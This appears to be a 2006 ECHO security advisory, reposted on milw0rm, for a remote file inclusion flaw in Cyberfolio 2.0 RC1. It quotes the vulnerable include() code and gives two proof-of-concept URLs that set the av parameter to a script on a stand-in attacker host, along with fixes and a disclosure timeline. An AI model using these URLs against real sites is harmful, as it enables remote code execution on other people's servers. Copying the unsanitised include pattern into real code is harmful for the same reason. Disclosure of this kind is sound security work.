____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_58$2006
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[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Cyberfolio
version : <=2.0 RC1
URL : http://www.cyberfolio.org
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------
Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files :
portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?
Solution:
~~~~~~~
- Sanitize variable $av affected files.
- Turn off register_globals
Timeline :
~~~~~~~~~
01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure
---------------------------------------------------------------------------
Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id
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# milw0rm.com [2006-11-06]
